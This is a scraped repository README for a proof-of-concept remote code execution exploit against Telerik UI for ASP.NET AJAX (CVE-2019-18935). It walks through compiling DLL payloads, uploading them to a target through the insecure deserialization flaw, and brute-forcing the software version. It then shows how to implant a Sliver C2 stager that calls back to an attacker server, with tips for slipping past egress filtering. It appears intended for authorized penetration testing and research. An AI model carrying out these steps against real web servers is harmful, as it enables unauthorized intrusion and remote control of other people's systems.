Need help with CVE-2019-18935?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

228 Stars 65 Forks Apache License 2.0 40 Commits 3 Opened issues


RCE exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX.

Services available


Need anything else?

Contributors list

# 281,027
37 commits
# 518,270
1 commit


Proof-of-concept exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX allowing remote code execution.


Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web applications. It insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host. For more information, see: - The DerpCon talk .NET Roulette (slides) which details extra fundamentals about exploiting insecure deserialization, applies that to this exploit, and walks through some tips and tricks for getting shells on ASP.NET web applications. - The full write-up at Bishop Fox, including a complete walkthrough of this vulnerability and exploit details for this issue (along with patching instructions).

Getting started


You'll need Visual Studio and .NET Framework SDK installed to compile mixed-mode .NET assembly DLL payloads using



git clone && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

This exploit leverages encryption logic from RAU_crypto. The

class within
depends on PyCryptodome, a drop-in replacement for the dead PyCrypto module. PyCryptodome and PyCrypto create problems when installed in the same environment, so the best way to satisfy this dependency is to install the module within a virtual environment, as shown above.


Point line 17 of

to the path of your Visual Studio installation.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build


$ python3 -h
usage: [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX.

optional arguments: -h, --help show this help message and exit -t just upload a file -d just deserialize -r FILENAME_REMOTE remote payload name, for optional use with -d -s SMB_SERVER remote SMB server, for optional use with -d -v UI_VERSION software version -n NET_VERSION .NET version -p PAYLOAD mixed mode assembly DLL -f FOLDER destination folder on target -u URL https:///Telerik.Web.UI.WebResource.axd?type=rau

Compile mixed mode .NET assembly DLL payload

Some payloads (e.g.,

) require you to set the
fields to point to your C2 server—be sure to do that!

In a Windows environment with Visual Studio installed, use

to generate 32- and 64-bit mixed mode assembly DLLs to be used as a payload during deserialization. You may optionally specify a target CPU architecture as a second CLI argument (e.g.,
build-dll.bat sleep.c

Upload payload to target, and load payload into application

Pass the DLL generated above to
, which will upload the DLL to a directory on the target server (provided that the web server has write permissions in that directory) and then load that DLL into the application via the insecure deserialization exploit.
$ python3 -v  -p payloads/sleep-2019121205271355-x86.dll -u /Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264, 'ContentType': 'application/octet-stream', 'DateJson': '1970-01-01T00:00:00.000Z', 'FileName': '1576142987.918625.dll', 'Index': 0}, 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, ' 'Telerik.Web.UI, Version=, ' 'Culture=neutral, ' 'PublicKeyToken=', 'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

Runtime Error

Server Error in '/' Application.

Runtime Error

...omitted for brevity...

[*] Response time: 13.01 seconds

In the example above, the application took at least 10 seconds to respond, indicating that the DLL payload successfully invoked


Brute-force Telerik UI version

As detailed in the DerpCon talk .NET Roulette (39:46), we can brute-force the Telerik UI version by specifying only the major version of the

assembly (i.e., the
portion of the full version string
) when uploading a file. This technique drastically reduces the search space when compared to brute-forcing each specific release of this software—and, as an added benefit, it can even detect versions that aren't explicitly listed in the release history for this software. Learn more about .NET assembly versioning on MSDN.
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 -t -v "$YEAR" -p /dev/null -u /Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||

2013: 2014: 2015: 2016: 2017: Telerik.Web.UI, Version=2017.2.503.40 2018:

Implant with Sliver C2 framework

The custom Sliver stager payload

receives and executes Sliver shellcode (the stage) from the Sliver server (the staging server), following Metasploit's staging protocol. For more details on how this works, read the header in the payload source.

Start Sliver server. More info on server setup here.

MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"

Open C2 endpoint (we're using an mTLS listener here, but you can also use HTTP or DNS) on Sliver server, create an implant profile, and create a staging listener linked to that profile. More info on staged payloads here. Note that we're not generating a Sliver stager using

generate stager
as Sliver's documentation suggests; we're instead using our custom

⚠️ Warning: Sending a stage of the wrong CPU architecture will crash the target process! For example, if the target is running a 32-bit version of Telerik UI and the staging server sends a 64-bit stage to the 32-bit stager, the web server process will crash. In the following example, we generate 32-bit shellcode—but you must match that to your target's CPU architecture using the

sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls : --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols [*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://: --profile shellcode-32 [] No builds found for profile shellcode-32, generating a new one [] Job 2 (tcp) started

Set the host and port in the Sliver stager source to point to the Sliver server (showing an example server below).

sed -Ei .bu 's//; s//443/' sliver-stager.c

Compile the Sliver stager payload, and upload the payload to the target and load it into the application (all according to the preceding Usage sections in this README).

> .\build-dll.bat sliver-stager.c x86

$ python3 -v 2017 -u /Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

If all goes well (have you troubleshat this target?), you'll see a session created in your Sliver server window that you can use to interact with the target.

[*] Session #1 AFRAID_COMPUTER -  (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help


clear clear the screen exit exit the shell help use 'help [command]' for command help ... whoami Get session user execution context

sliver (AFRAID_COMPUTER) > whoami



  • Each payload only works once—the .NET
    class cannot load multiple .NET assemblies having the same assembly name (different from a filename). You'll need to compile and upload a new one each time you want the target to sleep, call back, etc.
  • Ensure you're targeting the right CPU architecture (32- or 64-bit). This may take some guesswork; the sleep payload is useful here.
  • Beware egress filtering rules on the target network when trying to initiate a reverse TCP connection back to your C2 server. Choose a commonly allowed TCP port, like 443.

Back matter

Legal disclaimer

Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.


@mwulftange initially discovered this vulnerability. @bao7uo wrote all of the logic for breaking RadAsyncUpload encryption, which enabled manipulating the file upload configuration object in

and subsequently exploiting insecure deserialization of that object. @lesnuages wrote the first iteration of the Sliver stager payload.

See also

Government advisories

Bug bounty write-ups


  • [x] Add payload to upload and execute Sliver implant
  • [ ] Adjust C payload to optionally run a single command, rather than opening an interactive shell
  • [ ] Modify the assembly name of already compiled DLL to avoid recompiling for the same target
  • [x] Demonstrate brute-forcing major Telerik UI versions (i.e., the year portion of the version string)


This project is licensed under the Apache License.

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.